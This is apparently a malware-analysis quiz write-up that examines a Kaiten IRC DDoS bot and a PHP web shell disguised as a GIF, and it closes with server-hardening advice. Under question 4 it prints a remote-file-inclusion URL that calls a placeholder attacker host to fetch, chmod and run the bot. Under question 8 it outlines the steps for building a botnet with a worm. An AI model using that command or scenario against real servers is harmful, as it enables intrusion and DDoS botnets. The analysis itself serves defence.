

Malware Analysis Quiz 6

1. Are these files packed? If so, which packer?

The file is not packed, as running the command `strings shell11` reveals a number of interesting character sequences, such as:

- `irc.ircnet.net`
- `NOTICE %s :Kaiten wa goraku`
- `User-Agent: Mozilla/4.75 [en] (X11; U; Linux 2.2.16-3 i686)`

2. a) Without running the applications, identify what the malware can/will do, then

By merely looking at the output of the `strings` command, a few assumptions can be made of its behaviour:

- `irc.ircnet.net`, various sequences such as `NICK %s` suggest that the binary is an IRC drone that connects to one or more channels and awaits further orders
- The `User-Agent` string shown above could be used to either retrieve additional malicious payloads from a HTTP server or, worse, be part of a DDoS HTTP request header
- searching on the web for `Kaiten wa goraku` reveals the true identity of the binary, as a number of hacking sites provide `kaiten.c`, which is indeed a DDoS IRC drone.

b) run the applications and identify additional details evident when the applications are run

Care should of course be taken when starting a precompiled binary from an unknown or dubious source. Once executed, with a packet capture program monitoring the network activity, the application connects to the IRC server `irc.ircnet.net` and tries to join a channel `shc`, using the password `blah`. No further actions are visible, except the IRC keep-alives.

3. Now, using any methods available to you, which changes, if any, will the malware make on the system ?

With the application just sitting there, it seems that nothing is changed on the host system. Looking at the source code confirms this: all this malware does is open an IRC connection and await further orders, be it remote command execution or DDoS attacks.

This piece of code, on its own, does not harm the system it is run on, but the botmaster may run any command by pasting it into the channel, including downloading and executing further malware, such as a connect-back backdoor or rootkit.

Depending on the compile options, the application might create itself an entry in `/etc/init.d`, so is executed on every system start.

4. Now, what are the purpose of the malware? Are they related?

So far, we only looked at `shell11`. The second one, `cmd.gif`, is not a GIF image at all, but a disguised PHP script. Once hosted on a web server, it can be remotely included through well-known vulnerabilities in PHP applications.

It mainly servers two goals, originally developed as a defacement tool, as state the comments at the beginning of the script:

- provide a GUI as well as basic informations about the server interpreting this piece of code
- execute arbitrary commands appended to its query string.

One of the commands one could pass to this script is a sequence downloading and launching `shell11` from another server:

```
http://vulnerable.server.com/app/index.php?unchecked\_var=http://31337.h4x0r.com/cmd.gif?&cmd=cd+/tmp;wget+http://other.hacked.box.com/shell11;chmod+777+shell11;./shell11
```

The above command, sent to `vulnerable.server.com` makes it download `shell11` through `cmd.gif`, place it into `/tmp`, render it executable and launch it. Soon afterwards, the server joins the IRC channel.

5. Why didnt the 'shell' or the 'cmd' applications show up at the ps aux ?

None of the two commands will appear with its true name in the process list:

- by again looking at the `kaiten.c` source code, the process optionally cloaks itself using a `FAKENAME`. That way, one will not see `shell11` but `-bash`
- `cmd.gif` won't appear as is in the process list, but is visible a fraction of a second as child process(es) of the web server, or PHP processes, depending on the SAPI. As soon as the commands complete, they vanish again from the list.

6. Do you have any clues of how the machine was compromised?

As shown under 4., any vulnerable PHP application is a candidate to download the Kaiten drone onto the web server, but any web application allowing remote code execution could be used as attack vector:

- various PHP CMS, such as Drupal, Mambo, Joomla, PostNuke
- various PHP forum software: phpBB, vBulletin, ...
- various PHP blogging software: WordPress, ...
- various PHP webmail and groupware tools: eGroupware, ...
- Web statistics analyser: AWStats

As an attacker, all you need is a single attack point and the right place on the server to store your file.

7. About the 'shell' and cmd.gif file, what useful information could you get?

`she111`, being the most important part of the attack, delivers the following informations:

- target IRC server (address and port), most of the time a public network
- command & control channel as well as its password

`cmd.gif`, used as loader script, gives us:

- the address of the remote host doing the request
- the webserver it is hosted on
- an optional second webserver, providing additional modules of the "toolkit"
- the web server hosting `she111`, which itself, most probably also compromised, or put on a free webhost, like Geocities or Lycos, only to name those.

Upon discovery of the attack, the access log of the web server should be analysed, as it reveals most of the informations:

- if the requesting host looks like a server, it might be misused as bounce, so the administrator should be notified to do some investigations. In case of a client connection, the logs should be sent to the ISP so further steps can be taken
- the various hoster should be contacted too, to get the malicious scripts removed as quickly as possible
- additional requests might be visible in the logs, such as the download of additional malware, but sometimes also the efforts of people trying to exploit the same vulnerability to disable the drone code on the server

On the IRC side, the best thing to do is get in touch with an IRCop, so the necessary steps can be taken to take control of the botnet and clean the infected systems. If the channel is hosted on a private (as in hacked) system, removal isn't as obvious. Again, the server administrators or the hoster should be notified.

Joining the channel out of curiosity is not the best thing to do and should be avoided at all costs. Indeed, it is not possible to interact with the drones and your presence will only alert the botmasters. Better let them believe their activity has not yet been detected, so surveillance and disposal remain more efficient.

Contacts may be located by doing reverse-WHOIS queries on the IP addresses, look at the main website of the hoster or just sending emails to `abuse@domain`.

Bonus Questions:

8. Using all your creative mind, please, describe the possible attack scenario... :-)

A quite common scenario encountered in the last few months involves the following steps. So, it is not coming from my sick mind, but is a reality:

- write a shell script that downloads and runs `shell11` as well as a worm binary (see next point)
- get the source code of a worm that spreads via HTTP requests and modify it to download and run the above shell script via `cmd.gif`
- put the two quiz files, as well as the additional tools on one or more web servers
- create an IRC channel somewhere, protected it by a password and make it secret
- find a few vulnerable servers and use them to spread your worm
- wait ...
- a few hours later, you will have between a few hundred and over thousand drones under your control

9. Based on this attack, which security measures would you recommend to this linux box owner?

A server administrator can take various types of measures to avoid this kind of attacks:

General approach:

As a general rule, patch your web applications, so no remote attack is possible. If a hacker can't find a vulnerable spot on your server, he can't execute his code.

Use dedicated systems:

Consider investing into a dedicated firewall that protects your web server. Placed in a DMZ, the web server should not be able to access outside resources directly. If such information is important to your website, exceptions may be allowed on a case-by-case basis or general web access allowed to a HTTP proxy, known only to the scripts that require the access.

This way, a vulnerable script won't be able to download additional payload, rendering the exploit mostly useless.

Secure PHP:

Many steps should be considered when deploying PHP on a webserver:

- disable the `fopen()` wrapper, so no remote resources may be accessed through standard calls, but only by using `CURL` or other dedicated functions
- restrict as much as possible the functions that permit arbitrary code execution, or disabling them completely if you don't need them: `system()`, `popen()`, ...
- consider enabling PHP Safe Mode, which allows you to restrict code execution to a set

of directories

Filesystem security:

Mount `/tmp` and `/var/tmp` on dedicated filesystems with the execution flag disabled. This way, the hacker won't be able to execute the injected binaries if he puts them into the temporary directories. If the PHP process can't write to any other directory, the server is less exposed to this sort of exploit as before.

Web server security:

Consider using application-level security on your web server. The Apache module does a great job at detecting and preventing this type of attack if you set up rules tailored to your system or install some public available rulesets.

System security:

Use mandatory access control to prevent the execution of applications outside of their intended context. A number of projects implement this kind of security:

- SELinux
- RSBAC
- ...

The security module will block the attempt to start the malware if the policy is set up correctly.